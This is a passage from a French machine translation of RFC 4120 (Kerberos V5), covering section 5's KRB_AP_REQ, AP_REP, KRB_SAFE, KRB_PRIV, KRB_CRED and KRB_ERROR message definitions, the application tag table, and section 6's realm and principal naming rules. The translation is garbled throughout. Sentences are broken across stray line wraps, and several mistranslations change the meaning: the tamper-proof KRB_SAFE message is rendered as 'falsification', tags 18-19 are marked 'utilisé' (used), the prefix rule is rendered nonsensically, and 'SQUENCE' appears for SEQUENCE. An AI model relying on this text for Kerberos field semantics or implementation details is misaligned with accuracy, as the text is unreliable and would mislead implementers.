Ce champ est renvoyé par le KDC et spécifie la / les heure (s) de la
dernière demande d'un mandant. En fonction de quelle information est
disponible, cela pourrait être la dernière fois qu'une demande de TGT
a été faite, ou la dernière fois qu’une demande fondée sur un TGT a
été
réussi. Il peut également couvrir tous les serveurs d’un royaume, ou
simplement
le serveur particulier. Certaines implémentations PEUVENT afficher
ceci
informations à l'utilisateur pour l'aider à découvrir l'utilisation
non autorisée de
son identité. Son esprit est similaire à celui de la dernière
connexion
affiché lors de la connexion à des systèmes de partage de temps.

type lr
Ce champ indique comment le champ lr-value suivant doit être
interprété. Les valeurs négatives indiquent que l'information
ne concerne que le serveur qui répond. Valeurs non négatives
se rapportent à tous les serveurs du royaume.

Si le champ de type lr est zéro (0), aucune information n'est

transmise
par le sous-champ lr-value. Si la valeur absolue du type lr
Si le champ est un (1), le sous-champ lr-value est le temps de la
dernière
demande initiale de TGT. Si c'est deux (2), alors la valeur lr
Le sous-champ est l'heure de la dernière demande initiale. Si c'est
trois (3),
alors le sous-champ lr-value est l'heure d'émission du dernier TGT
utilisé. Si c'est quatre (4), alors le sous-champ lr-value est le
temps
du dernier renouvellement. Si c'est cinq (5), alors la valeur lr
Le sous-champ est l'heure de la dernière demande (de tout type). Si
c'est (6),
alors le sous-champ lr-value est le moment où le mot de passe sera
expirer. Si c'est le cas (7), le sous-champ lr-value est le moment où
le compte va expirer.

Neuman et al. Piste de normes [Page 83]

RFC 4120 Kerberos V5 juillet 2005

lr-value
Ce champ contient l'heure de la dernière requête. Le temps doit
être interprété selon le contenu de la lettre d'accompagnement
type sous-champ.

nonce
Ce champ est décrit ci-dessus à la section 5.4.1.

clé-expiration
Le champ d’expiration de clé fait partie de la réponse du KDC et
 spécifie l'heure à laquelle la clé secrète du client doit expirer.
L'expiration peut être le résultat de l'âge du mot de passe ou d'un
compte
expiration. Si présent, il DEVRAIT être réglé sur le plus tôt des
expiration de la clé de l'utilisateur et expiration du compte.
L'utilisation de cette
obsolète, et le champ last-req DEVRAIT être utilisé pour
transmettre cette information à la place. Ce champ sera généralement
laissé
sur la réponse TGS puisque la réponse à la demande TGS est
crypté dans une clé de session et aucune information client ne doit
être
extrait de la base de données KDC. C'est à l'application
client (généralement le programme de connexion) à prendre les mesures
appropriées
(comme notifier l'utilisateur) si le délai d'expiration est imminent.

drapeaux, authtime, starttime, endtime, renew-till et caddr

Ces champs sont des doublons de ceux trouvés dans le fichier crypté.
partie du ticket ci-joint (voir section 5.3), à condition que le
le client PEUT vérifier qu’ils correspondent à la demande prévue et
afin d’aider à la mise en cache appropriée des tickets. Si le message
est de
tapez KRB_TGS_REP, le champ caddr ne sera renseigné que si le
demande concernait un proxy ou un ticket transféré, ou si
l'utilisateur est
substituer un sous-ensemble des adresses du TGT. Si la
les adresses demandées par le client ne sont pas présentes ou ne sont
pas utilisées, le
les adresses contenues dans le ticket seront les mêmes que celles
inclus dans le TGT.

5.5. Spécifications des messages client / serveur (CS)

Cette section spécifie le format des messages utilisés pour la

authentification du client sur le serveur d'applications.

5.5.1. KRB_AP_REQ Définition

Le message KRB_AP_REQ contient le numéro de version du protocole

Kerberos,
le type de message KRB_AP_REQ, un champ d'options pour indiquer les
options éventuelles
en cours d'utilisation, et le billet et l'authentificateur eux-mêmes. Le
KRB_AP_REQ
Le message est souvent appelé "en-tête d'authentification".

Neuman et al. Piste de normes [Page 84]

RFC 4120 Kerberos V5 juillet 2005

AP-REQ :: = [APPLICATION 14] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
 ticket [3] Ticket,
authentificateur [4] EncryptedData - Authenticator
}

APOptions :: = KerberosFlags
- réservé (0),
- use-session-key (1),
- mutuellement obligatoire (2)

pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_AP_REQ.

ap-options
Ce champ apparaît dans la demande d’application (KRB_AP_REQ) et
affecte la façon dont la demande est traitée. C'est un champ de bits,
où les options sélectionnées sont indiquées par le bit en cours de
définition (1),
et les options non sélectionnées et les champs réservés en étant
réinitialisés (0).
Le codage des bits est spécifié au paragraphe 5.2. le
la signification des options est la suivante:

Nom (s) du bit Description

0 réservé Réservé à l'expansion future de ce champ.

1 use-session-key L'option USE-SESSION-KEY indique que

le billet que le client présente à un
le serveur est crypté dans la clé de session de
le TGT du serveur. Quand cette option n'est pas
spécifié, le ticket est crypté dans le
clé secrète du serveur.

2 mutual-required L'option MUTUAL-REQUIRED indique au serveur

que le client a besoin mutuelle
authentification, et qu'il doit répondre
avec un message KRB_AP_REP.

3-31 réservé Réservé pour une utilisation future.

billet
Ce champ est un ticket authentifiant le client auprès du serveur.

Neuman et al. Piste de normes [Page 85]

RFC 4120 Kerberos V5 juillet 2005

authentifiant
Celui-ci contient l’authentificateur chiffré, qui comprend le
choix du client d'une sous-clé.

L’authentificateur chiffré est inclus dans AP-REQ; il certifie

sur un serveur dont l'expéditeur a récemment eu connaissance du
chiffrement
 saisissez le ticket d'accompagnement pour aider le serveur à détecter
les relances.
Il aide également à sélectionner une "vraie clé de session" à utiliser
avec
la session particulière. Le codage DER de ce qui suit est
chiffré dans la clé de session du ticket, avec une valeur d'utilisation
de la clé de 11
dans des échanges d'application normaux, ou 7 lorsqu'il est utilisé
comme PA-TGS-REQ
Champ PA-DATA d'un échange TGS-REQ (voir au paragraphe 5.4.1):

- Authentificateur non crypté

Authenticator :: = [APPLICATION 2] SEQUENCE {
authentificateur-vno [0] ENTIER (5),
crealm [1] Royaume,
cname [2] PrincipalName,
cksum [3] Somme de contrôle FACULTATIF,
cusec [4] Microsecondes,
ctime [5] KerberosTime,
sous-clé [6] EncryptionKey OPTIONAL,
numéro de séquence [7] UInt32 FACULTATIF,
autorisation-data [8] AuthorizationData FACULTATIF
}

authentificateur-vno
Ce champ spécifie le numéro de version du format du fichier.
authentifiant. Ce document spécifie la version 5.

crealm et cname
Ces champs sont les mêmes que ceux décrits pour le ticket dans
section 5.3.

cksum
Ce champ contient une somme de contrôle des données d'application qui
accompagne le KRB_AP_REQ, calculé à l'aide d'une valeur d'utilisation
de clé de 10
dans des échanges d'application normaux, ou 6 lorsqu'ils sont
utilisés dans le TGS-REQ
Champ PA-DATA PA-TGS-REQ.

cusec
Ce champ contient la partie microseconde de la valeur du client.
horodatage. Sa valeur (avant chiffrement) est comprise entre 0 et
999999.
Il apparaît souvent avec ctime. Les deux champs sont utilisés
ensemble pour spécifier un horodatage raisonnablement précis.

temps
Ce champ contient l'heure actuelle sur l'hôte du client.

Neuman et al. La voie des normes [Page 86]

RFC 4120 Kerberos V5 juillet 2005

sous-clé
Ce champ contient le choix du client pour une clé de chiffrement à
être utilisé pour protéger cette session d'application spécifique. À
moins qu'un
 application spécifie autrement, si ce champ est laissé de côté, le
la clé de session du ticket sera utilisée.

numéro de séquence
Ce champ facultatif comprend le numéro de séquence initial à
utilisé par les messages KRB_PRIV ou KRB_SAFE lorsque des numéros de
séquence
sont utilisés pour détecter les replays. (Il peut également être
utilisé par l'application
messages spécifiques.) Une fois inclus dans l’authentificateur, cette
Ce champ spécifie le numéro de séquence initial des messages de la
client au serveur. Lorsqu'il est inclus dans le message AP-REP, le
Le numéro de séquence initial est celui des messages du serveur à
le client. Lorsqu'il est utilisé dans les messages KRB_PRIV ou
KRB_SAFE, il est
incrémenté de un après chaque message envoyé. Numéros de séquence
tombent dans la plage 0 à 2 ^ 32 - 1 et se terminent à zéro après
la valeur 2 ^ 32 - 1.

Pour que les numéros de séquence prennent en charge la détection des

répétitions
de manière adéquate, ils DEVRAIENT être non répétitifs, même à
travers la connexion
limites. Le numéro de séquence initial DEVRAIT être aléatoire et
uniformément répartis sur tout l'espace de la séquence possible
chiffres, de sorte qu’il ne puisse pas être deviné par un attaquant
et que
et les numéros de séquence successifs ne répètent pas d'autres
des séquences. Si plus de 2 ^ 32 messages doivent être envoyés
généré dans une série de messages KRB_PRIV ou KRB_SAFE, en ressaisie
DEVRAIT être effectué avant que les numéros de séquence ne soient
réutilisés avec
même clé de cryptage.

Note d'implémentation: Historiquement, certaines implémentations

transmettent
deux nombres en complément signé pour les numéros de séquence. dans
le
intérêts de compatibilité, les implémentations PEUVENT accepter les
nombre négatif équivalent lorsqu'un nombre positif supérieur à
2 ^ 31 - 1 est attendu.

Note d'implémentation: Comme indiqué précédemment, certaines

implémentations omettent
le numéro de séquence facultatif lorsque sa valeur serait zéro.
Les implémentations PEUVENT accepter un numéro de séquence omis
lorsque
attend une valeur de zéro, et NE DEVRAIT PAS transmettre de
Authentificateur avec un numéro de séquence initial de zéro.

données d'autorisation
Ce champ est identique à celui décrit pour le ticket à la section
5.3.
Il est facultatif et n'apparaîtra que lorsque des restrictions
supplémentaires
doivent être mis sur l'utilisation d'un billet, au-delà de ceux
transportés dans
le billet lui-même.
Neuman et al. Piste de normes [Page 87]

RFC 4120 Kerberos V5 juillet 2005

5.5.2. KRB_AP_REP Définition

Le message KRB_AP_REP contient le numéro de version du protocole

Kerberos,
le type de message et un horodatage crypté. Le message est envoyé
en réponse à une demande d'application (KRB_AP_REQ) pour laquelle le
l'option d'authentification mutuelle a été sélectionnée dans les ap-
options
champ.

AP-REP :: = [APPLICATION 15] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (15),
enc-part [2] EncryptedData - EncAPRepPart
}

EncAPRepPart :: = [APPLICATION 27] SEQUENCE {

ctime [0] KerberosTime,
cusec [1] Microsecondes,
sous-clé [2] EncryptionKey OPTIONAL,
numéro de séquence [3] UInt32 FACULTATIF
}

EncAPRepPart codé est chiffré dans la clé de session partagée de

le billet. Le champ optionnel de sous-clé peut être utilisé dans un
négociation arrangée par l'application pour choisir une session par
association
clé.

pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_AP_REP.

partie enc
Ce champ est décrit ci-dessus à la section 5.4.2. Il est calculé
avec une valeur d’utilisation de clé de 12.

temps
Ce champ contient l'heure actuelle sur l'hôte du client.

cusec
Ce champ contient la partie microseconde de la valeur du client.
horodatage.

sous-clé
Ce champ contient une clé de cryptage devant être utilisée pour
protéger cette session d'application spécifique. Voir la section
3.2.6 pour
des détails sur la façon dont ce champ est utilisé pour négocier une
clé. À moins qu'un
application spécifie autrement, si ce champ est laissé de côté, le
clé de sous-session de l'authentificateur ou si ce dernier est
également
laissée de côté, la clé de session du ticket sera utilisée.
Neuman et al. Norme Track [Page 88]

RFC 4120 Kerberos V5 juillet 2005

numéro de séquence
Ce champ est décrit ci-dessus à la section 5.3.2.

5.5.3. Message d'erreur

Si une erreur survient lors du traitement de la demande d’application,

le
Le message KRB_ERROR sera envoyé en réponse. Voir la section 5.9.1 pour
le format du message d'erreur. Les champs cname et crealm PEUVENT être
laissé de côté si le serveur ne peut pas déterminer leurs valeurs
appropriées à partir de
le message KRB_AP_REQ correspondant. Si l'authentificateur était
déchiffrables, les champs ctime et cusec contiendront les valeurs de
il.

5.6 KRB_SAFE Spécification de message

Cette section spécifie le format d’un message pouvant être utilisé par
l’un des côtés (client ou serveur) d’une application d’envoyer une
falsification.
message de preuve à son pair. Cela suppose qu'une clé de session a
précédemment été échangés (par exemple, en utilisant le
KRB_AP_REQ / KRB_AP_REP).

5.6.1. Définition KRB_SAFE

Le message KRB_SAFE contient des données utilisateur avec un message

anti-collision
somme de contrôle saisie avec la dernière clé de chiffrement négociée
via des sous-clés,
ou avec la clé de session si aucune négociation n'a eu lieu. Le message
les champs sont les suivants:

KRB-SAFE :: = [APPLICATION 20] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (20),
safe-body [2] KRB-SAFE-BODY,
cksum [3] Somme de contrôle
}

KRB-SAFE-BODY :: = SEQUENCE {
données d'utilisateur [0] OCTET STRING,
horodatage [1] KerberosTime FACULTATIF,
usec [2] Microsecondes FACULTATIF,
numéro de séquence [3] UInt32 FACULTATIF,
s-address [4] HostAddress,
r-address [5] HostAddress FACULTATIF
}

pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_SAFE.
Neuman et al. Norme Track [Page 89]

RFC 4120 Kerberos V5 juillet 2005

corps sûr
Ce champ est un espace réservé pour le corps du message KRB-SAFE.

cksum
Ce champ contient la somme de contrôle des données de l’application,
calculée
avec une valeur d’utilisation de clé de 15.

La somme de contrôle est calculée sur l'encodage du KRB-SAFE

séquence. Tout d'abord, le cksum est défini sur un type zéro,
longueur zéro
valeur, et la somme de contrôle est calculée sur le codage de la KRB-
Séquence SAFE. Ensuite, la somme de contrôle est définie sur le
résultat de cette
calcul. Enfin, la séquence KRB-SAFE est à nouveau codée.
Cette méthode, bien que différente de celle spécifiée dans RFC
1510, correspond à la pratique existante.

données d'utilisateur
Ce champ fait partie des messages KRB_SAFE et KRB_PRIV, et
contient les données spécifiques à l'application qui sont transmises
de
l'expéditeur au destinataire.

horodatage
Ce champ fait partie des messages KRB_SAFE et KRB_PRIV. Ses
le contenu correspond à l'heure actuelle, telle que connue par
l'expéditeur du message.
message. En vérifiant l'horodatage, le destinataire du message
est en mesure de s’assurer qu’il a été généré récemment, et n’est pas
un
rejouer.

usec
Ce champ fait partie des en-têtes KRB_SAFE et KRB_PRIV. Il
contient la partie microseconde de l'horodatage.

numéro de séquence
Ce champ est décrit ci-dessus à la section 5.3.2.

s-adresse
L'adresse de l'expéditeur.

Ce champ spécifie l'adresse utilisée par l'expéditeur du message.

message.

r-address
Ce champ spécifie l'adresse utilisée par le destinataire du message.
message. Il PEUT être omis pour certaines utilisations (telles que
protocoles), mais le destinataire PEUT refuser arbitrairement une
telle
messages. Ce champ, avec l'adresse s, peut être utilisé pour aider
détecter les messages incorrects ou malveillants
livré au mauvais destinataire.
Neuman et al. Standards Track [Page 90]

RFC 4120 Kerberos V5 juillet 2005

5.7 KRB_PRIV Spécification de message

Cette section spécifie le format d’un message pouvant être utilisé par
l’un des côtés (client ou serveur) d’une application à laquelle envoyer
un message
ses pairs en toute sécurité et en privé. Cela suppose qu'une clé de
session a
précédemment été échangés (par exemple, en utilisant le
KRB_AP_REQ / KRB_AP_REP).

5.7.1. KRB_PRIV Définition

Le message KRB_PRIV contient des données utilisateur chiffrées dans la

clé de session.
Les champs du message sont les suivants:

KRB-PRIV :: = [APPLICATION 21] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (21),
- NOTE: il n'y a pas de balise [2]
enc-part [3] EncryptedData - EncKrbPrivPart
}

EncKrbPrivPart :: = [APPLICATION 28] SEQUENCE {

données d'utilisateur [0] OCTET STRING,
horodatage [1] KerberosTime FACULTATIF,
usec [2] Microsecondes FACULTATIF,
numéro de séquence [3] UInt32 FACULTATIF,
s-address [4] HostAddress - adresse de l'expéditeur -,
r-address [5] HostAddress OPTIONAL - adresse de recip
}

pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_PRIV.

partie enc
Ce champ contient un codage de la séquence EncKrbPrivPart.
chiffré sous la clé de session, avec une valeur d’utilisation de 13.
Ce codage crypté est utilisé pour le champ de la partie enc.
Message KRB-PRIV.

données utilisateur, horodatage, usec, adresse s et adresse r

Ces champs sont décrits ci-dessus à la section 5.6.1.

numéro de séquence
Ce champ est décrit ci-dessus à la section 5.3.2.
Neuman et al. La voie des normes [Page 91]

RFC 4120 Kerberos V5 juillet 2005

5.8. KRB_CRED Spécification de message

Cette section spécifie le format d’un message pouvant être utilisé pour
envoyer les informations d'identification Kerberos d'un principal à un
autre. Il est
présenté ici pour encourager un mécanisme commun à être utilisé par
applications lors du transfert de tickets ou de la fourniture de
procurations
serveurs subordonnés. Cela suppose qu'une clé de session a déjà été
échangés, peut-être en utilisant les messages KRB_AP_REQ / KRB_AP_REP.

5.8.1. KRB_CRED Définition

Le message KRB_CRED contient une séquence de tickets à envoyer et

informations nécessaires à l'utilisation des tickets, y compris la clé
de session de
chaque. Les informations nécessaires à l’utilisation des tickets sont
cryptées sous
une clé de cryptage précédemment échangée ou transférée à côté du
Message KRB_CRED. Les champs du message sont les suivants:

KRB-CRED :: = [APPLICATION 22] SEQUENCE {

pvno [0] ENTIER (5),
type msg [1] INTEGER (22),
tickets [2] SEQUENCE OF Ticket,
enc-part [3] EncryptedData - EncKrbCredPart
}

EncKrbCredPart :: = [APPLICATION 29] SEQUENCE {

ticket-info [0] SEQUENCE OF KrbCredInfo,
nonce [1] UInt32 FACULTATIF,
horodatage [2] KerberosTime FACULTATIF,
usec [3] Microsecondes FACULTATIF,
s-address [4] HostAddress FACULTATIF,
r-address [5] HostAddress FACULTATIF
}

KrbCredInfo :: = SEQUENCE {
key [0] EncryptionKey,
prealm [1] Royaume FACULTATIF,
pname [2] PrincipalName FACULTATIF,
drapeaux [3] TicketFlags FACULTATIF,
authtime [4] KerberosTime OPTIONAL,
starttime [5] KerberosTime FACULTATIF,
endtime [6] KerberosTime FACULTATIF,
renew-till [7] KerberosTime FACULTATIF,
srealm [8] Royaume FACULTATIF,
sname [9] PrincipalName FACULTATIF,
caddr [10] HostAddresses FACULTATIF
}
Neuman et al. Piste de normes [Page 92]

RFC 4120 Kerberos V5 juillet 2005

pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_CRED.

des billets
Ce sont les billets obtenus du KDC spécifiquement pour une
utilisation
par le destinataire prévu. Les billets successifs sont jumelés au
séquence KrbCredInfo correspondante de la partie enc. du fichier KRB-
Message CRED.

partie enc
Ce champ contient un encodage de la séquence EncKrbCredPart
crypté sous la clé de session partagée par l'expéditeur et le
destinataire prévu, avec une valeur d’utilisation de la clé de 14.
Cette
Le codage est utilisé pour le champ "enc-part" du message KRB-CRED.

Note d’implémentation: Implémentations de certaines applications, la

plupart
notamment certaines implémentations du mécanisme Kerberos GSS-API,
ne chiffrez pas séparément le contenu de la EncKrbCredPart de
le message KRB-CRED lors de son envoi. Dans le cas de ces GSS-
Mécanismes d'API, ce n'est pas une vulnérabilité de sécurité, car le
l'intégralité du message KRB-CRED est elle-même intégrée dans un
message crypté
message.

nonce
Si possible, une application PEUT nécessiter l'inclusion d'un nonce
généré par le destinataire du message. Si la même valeur est
inclus comme nonce dans le message, il apporte la preuve que
le message est récent et n'a pas été rejoué par un attaquant. UNE
Le nonce NE DOIT JAMAIS être réutilisé.

horodatage et usec
Ces champs spécifient l'heure à laquelle le message KRB-CRED a été
envoyé.
généré. Le temps est utilisé pour fournir l'assurance que le message
est frais.

adresse s et adresse r
Ces champs sont décrits ci-dessus à la section 5.6.1. Ils sont
utilisés
éventuellement, fournir une assurance supplémentaire de l'intégrité
du
Message KRB-CRED.

clé
Ce champ existe dans le ticket correspondant passé par le KRB-
Message CRED et est utilisé pour transmettre la clé de session de
l'expéditeur
au destinataire prévu. Le codage du champ est décrit dans
Section 5.2.9.
Neuman et al. Piste de normes [Page 93]

RFC 4120 Kerberos V5 juillet 2005

Les champs suivants sont facultatifs. Si présents, ils peuvent être

associé aux informations d'identification dans le fichier de ticket
distant. Si laissé
out, on suppose alors que le destinataire des informations
d'identification déjà
connaît leurs valeurs.

prealm et pname
Le nom et le domaine de l'identité principale déléguée.

drapeaux, authtime, starttime, endtime, renew-till, srealm, sname,

et caddr
Ces champs contiennent les valeurs des champs correspondants de
le ticket trouvé dans le champ ticket. Descriptions des champs
sont identiques aux descriptions du message KDC-REP.

5.9 Spécification du message d'erreur

Cette section spécifie le format du message KRB_ERROR. le

les champs inclus dans le message sont destinés à renvoyer autant
informations possibles sur une erreur. On ne s'attend pas à ce que tous
les informations requises par les champs seront disponibles pour tous
types d'erreurs. Si l'information appropriée n'est pas disponible
quand le message est composé, le champ correspondant sera laissé
hors du message.

Notez que, comme le message KRB_ERROR n’est pas protégé en intégrité,

il est tout à fait possible pour un intrus de le synthétiser ou de le
modifier. Dans
Cela signifie notamment que le client NE DEVRAIT PAS utiliser de champs
dans
ce message à des fins critiques pour la sécurité, telles que la
configuration d'un système
horloge ou générer un authentifiant frais. Le message peut être
utile, cependant, pour informer un utilisateur de la raison de son
échec.

5.9.1. KRB_ERROR Définition

Le message KRB_ERROR comprend les champs suivants:

KRB-ERROR :: = [APPLICATION 30] SEQUENCE {

pvno [0] ENTIER (5),
type msg [1] ENTIER (30),
ctime [2] KerberosTime FACULTATIF,
cusec [3] Microsecondes FACULTATIF,
temps [4] KerberosTime,
susec [5] Microsecondes,
code d'erreur [6] Int32,
crealm [7] Royaume FACULTATIF,
cname [8] PrincipalName FACULTATIF,
royaume [9] royaume - domaine de service -,
 sname [10] PrincipalName - nom du service -,
texte électronique [11] KerberosString FACULTATIF,

Neuman et al. Piste de normes [Page 94]

RFC 4120 Kerberos V5 juillet 2005

données électroniques [12] OCTET STRING OPTIONAL

}

pvno et msg-type
Ces champs sont décrits ci-dessus à la section 5.4.1. msg-type est
KRB_ERROR.

ctime et cusec
Ces champs sont décrits ci-dessus à la section 5.5.2. Si les valeurs
pour ces champs sont connus de l'entité génératrice de l'erreur
(comme
ce serait le cas si KRB-ERROR est généré en réponse à, par exemple,
un
échec de la demande de service d'authentification), ils doivent être
renseignés
dans le KRB-ERROR. Si les valeurs ne sont pas disponibles, ces champs
peut être omis.

temps
Ce champ contient l'heure actuelle sur le serveur. Il est de type
KerberosTime.

susec
Ce champ contient la partie microseconde de la valeur du serveur.
horodatage. Sa valeur va de 0 à 999999. Il apparaît le long de
avec le temps. Les deux champs sont utilisés conjointement pour
spécifier un
horodatage raisonnablement précis.

code d'erreur
Ce champ contient le code d'erreur renvoyé par Kerberos ou le
serveur lorsqu'une requête échoue. Interpréter la valeur de ce champ
voir la liste des codes d'erreur dans la section 7.5.9. Les
implémentations sont
encouragés à fournir un support de langue nationale dans l'affichage
des messages d'erreur.

crealm et cname
Ces champs sont décrits ci-dessus à la section 5.3. Quand l'entité
générer l'erreur connaît ces valeurs, elles doivent être remplies
dans le KRB-ERROR. Si les valeurs ne sont pas connues, le crealm et
Les champs cname DEVRAIENT être omis.

royaume et nom
Ces champs sont décrits ci-dessus à la section 5.3.

texte électronique
Ce champ contient du texte supplémentaire pour aider à expliquer le
code d'erreur
associé à la demande ayant échoué (par exemple, il peut inclure
un nom principal qui était inconnu).
Neuman et al. Piste de normes [Page 95]

RFC 4120 Kerberos V5 juillet 2005

données électroniques
Ce champ contient des données supplémentaires sur l’erreur à utiliser
par le
application pour l’aider à récupérer ou à gérer l’erreur. Si la
code d'erreur est KDC_ERR_PREAUTH_REQUIRED, le champ e-data sera
alors
contient un encodage d'une séquence de champs padata, chacun
correspondant à une méthode de pré-authentification acceptable et
contenant éventuellement des données pour la méthode:

METHOD-DATA :: = SÉQUENCE DE PA-DATA

Pour les codes d'erreur définis dans ce document autres que

KDC_ERR_PREAUTH_REQUIRED, le format et le contenu du champ de données
électroniques
sont définis par la mise en œuvre. De même, pour les futurs codes
d’erreur, le
le format et le contenu du champ de données électroniques sont définis
par la mise en oeuvre
sauf indication contraire. Que ce soit défini par la mise en œuvre ou
dans un futur document, le champ e-data PEUT prendre la forme de TYPED-
LES DONNÉES:

TYPED-DATA :: = SQUENCE SIZE (1..MAX) OF SEQUENCE {

type de données [0] Int32,
valeur de données [1] OCTET STRING OPTIONAL
}

5.10. Numéros d'étiquette d'application

Le tableau suivant répertorie les numéros de balises de classe

d’application utilisés par
différents types de données définis dans cette section.

Numéro (s) d'étiquette Type Nom Commentaires

0 non utilisé

1 ticket PDU

2 authentificateur non-PDU

3 EncTicketPart non-PDU

4-9 non utilisé

10 PDU AS-REQ

11 PDU AS-REP
 12 PDU TGS-REQ

13 PDU TGS-REP

Neuman et al. Piste de normes [Page 96]

RFC 4120 Kerberos V5 juillet 2005

14 PDU AP-REQ

15 PDU AP-REP

16 RESERVED16 TGT-REQ (pour utilisateur à utilisateur)

17 RESERVED17 TGT-REP (pour utilisateur à utilisateur)

18-19 utilisé

20 PDU KRB-SAFE

21 PDU KRB-PRIV

22 PDU KRB-CRED

23-24 non utilisé

25 EncASRepPart non-PDU

26 EncTGSRepPart non-PDU

27 EncApRepPart non-PDU

28 EncKrbPrivPart non-PDU

29 EncKrbCredPart non-PDU

30 PDU ERREUR KRB

Les types ASN.1 marqués ci-dessus comme "PDU" (unité de données de

protocole) sont les
seuls les types ASN.1 destinés à être des types de niveau supérieur du
Kerberos
protocole, et sont les seuls types pouvant être utilisés comme éléments
dans
un autre protocole utilisant Kerberos.

6. Contraintes de dénomination

6.1. Noms de domaines

Bien que les noms de domaine soient codés sous la forme GeneralStrings
et techniquement
Le royaume peut sélectionner le nom de son choix, l'interopérabilité
entre les royaumes.
les limites nécessitent un accord sur la manière dont les noms de
domaine doivent être attribués,
et quelles informations ils impliquent.
 Pour appliquer ces conventions, chaque domaine DOIT se conformer à la
conventions elles-mêmes, et il DOIT exiger que tous les royaumes avec
lesquels
les clés inter-domaines sont partagées sont également conformes aux
conventions et
exigent la même chose de ses voisins.

Neuman et al. Norme Track [Page 97]

RFC 4120 Kerberos V5 juillet 2005

Les noms de domaine Kerberos sont sensibles à la casse. Des noms de

domaines différents
que dans le cas des caractères ne sont pas équivalents. Il y a
actuellement trois styles de noms de domaine: domain, X500 et autres.
Voici des exemples de chaque style:

domaine: ATHENA.MIT.EDU
X500: C = US / O = OSF
autre: NAMETYPE: rest / of.name = sans-restrictions

Les noms de domaine de style de domaine DOIVENT ressembler à des noms de

domaine: ils se composent de
composants séparés par des points (.) et ils ne contiennent ni deux-
points
(:) ni barres obliques (/). Bien que les noms de domaine eux-mêmes
soient des cas
insensible, pour que les royaumes correspondent, le cas doit
correspondre aussi
bien. Lors de l'établissement d'un nouveau nom de domaine basé sur un
domaine Internet
nom, il est recommandé par convention que les caractères soient
convertis
en majuscule.

Les noms X.500 contiennent un signe égal (=) et ne peuvent pas contenir
deux points (:)
avant le signe égal. Les noms de domaine pour les noms X.500 seront
représentations sous forme de chaîne des noms avec des composants
séparés par
slash. Les barres obliques de début et de fin ne seront pas incluses.
Remarque
que le séparateur de barre oblique est cohérent avec les implémentations
de Kerberos
basé sur la RFC 1510, mais il est différent du séparateur recommandé
dans RFC 2253.

Les noms qui appartiennent à l’autre catégorie DOIVENT commencer par un

préfixe
ne contient pas de signe égal (=) ni de point (.), et le préfixe DOIT
être
suivi de deux points (:) et du reste du nom. Tous les préfixes
attendez ceux qui commencent avec utilisé. Actuellement, aucun n'est
attribué.

La catégorie réservée comprend les chaînes qui ne relèvent pas de la

 trois premières catégories. Tous les noms de cette catégorie sont
réservés. Il
est peu probable que des noms soient attribués à cette catégorie, sauf
est un argument très fort pour ne pas utiliser la catégorie «autre».

Ces règles garantissent qu’il n’y aura pas de conflits entre les
différents styles de noms. Les contraintes supplémentaires suivantes
s'appliquent à
l'attribution de noms de domaine dans le domaine et les catégories
X.500:
soit le nom du domaine du domaine, soit les formats X.500 doivent être
utilisé par l’organisation possédant (à qui elle a été affectée) un
compte Internet
nom de domaine ou nom X.500, ou, dans le cas où aucun de ces noms ne
serait
enregistré, le pouvoir d'utiliser un nom de domaine PEUT être dérivé du
autorité du royaume parent. Par exemple, s'il n'y a pas de domaine
nom pour E40.MIT.EDU, l'administrateur du royaume MIT.EDU peut alors
autoriser la création d'un royaume avec ce nom.

Ceci est acceptable car l’organisation à laquelle appartient le parent

attribué est vraisemblablement l'organisation autorisée à attribuer des
noms à

Neuman et al. Standards Track [Page 98]

RFC 4120 Kerberos V5 juillet 2005

ses enfants dans le X.500 et les systèmes de noms de domaine. Si la

parent attribue un nom de domaine sans l'enregistrer également dans le
domaine
nom ou hiérarchie X.500, il appartient au parent de faire
sûr qu’à l’avenir il n’existera pas un nom identique à celui du
nom de domaine de l’enfant sauf s’il est attribué à la même entité que
le nom du royaume.

6.2. Noms principaux

Comme ce fut le cas pour les noms de domaine, des conventions sont
nécessaires pour garantir
que tous s'accordent sur les informations impliquées par un nom
principal.
Le champ de type de nom qui fait partie du nom de principal indique la
type d'informations impliquées par le nom. Le nom-type DEVRAIT être
traité uniquement comme un indice permettant d’interpréter le sens d’un
nom. Il est
non significatif lors de la vérification de l'équivalence. Les noms
principaux qui
diffèrent uniquement par le type de nom identifient le même principal.
Le nom
type ne partitionne pas l'espace de nom. Ignorer le type de nom, non
deux noms peuvent être identiques (c.-à-d. au moins un des composants,
ou
le royaume, DOIT être différent). Les types de nom suivants sont
définis:

Nom Type Valeur Signification

 NT-UNKNOWN 0 Type de nom inconnu
NT-PRINCIPAL 1 Juste le nom du commettant en DCE,
ou pour les utilisateurs
Service NT-SRV-INST 2 et autre instance unique (krbtgt)
Service NT-SRV-HST 3 avec nom d'hôte en tant qu'instance
(telnet, commandes)
Service NT-SRV-XHST 4 avec l'hôte en tant que composants restants
ID unique NT-UID 5
NT-X500-PRINCIPAL 6 Nom distinctif X.509 codé [RFC2253]
NT-SMTP-NAME 7 Nom sous la forme du nom de messagerie SMTP
(par exemple, utilisateur@exemple.com)
NT-ENTERPRISE 10 Nom de l'entreprise - peut être associé au principal
prénom

Lorsqu'un nom n'implique aucune information autre que son unicité à un

le moment, le nom de type PRINCIPAL DEVRAIT être utilisé. le
Le type de nom principal DEVRAIT être utilisé pour les utilisateurs, et
il pourrait également être
utilisé pour un serveur unique. Si le nom est un unique généré par la
machine
ID qui est garanti ne jamais être réaffecté, puis le type de nom de
UID DEVRAIT être utilisé. (Notez que c’est généralement une mauvaise
idée de
réaffecter des noms de tout type, car des entrées obsolètes pourraient
rester en accès
listes de contrôle.)

Si le premier composant d’un nom identifie un service et que le

composants restants identifient une instance du service dans un
manière spécifiée par le serveur, le type de nom de SRV-INST DEVRAIT
être

Neuman et al. Standards Track [Page 99]

RFC 4120 Kerberos V5 juillet 2005

utilisé. Un exemple de ce type de nom est l'attribution de tickets

Kerberos
service dont le nom a une première composante de krbtgt et une seconde
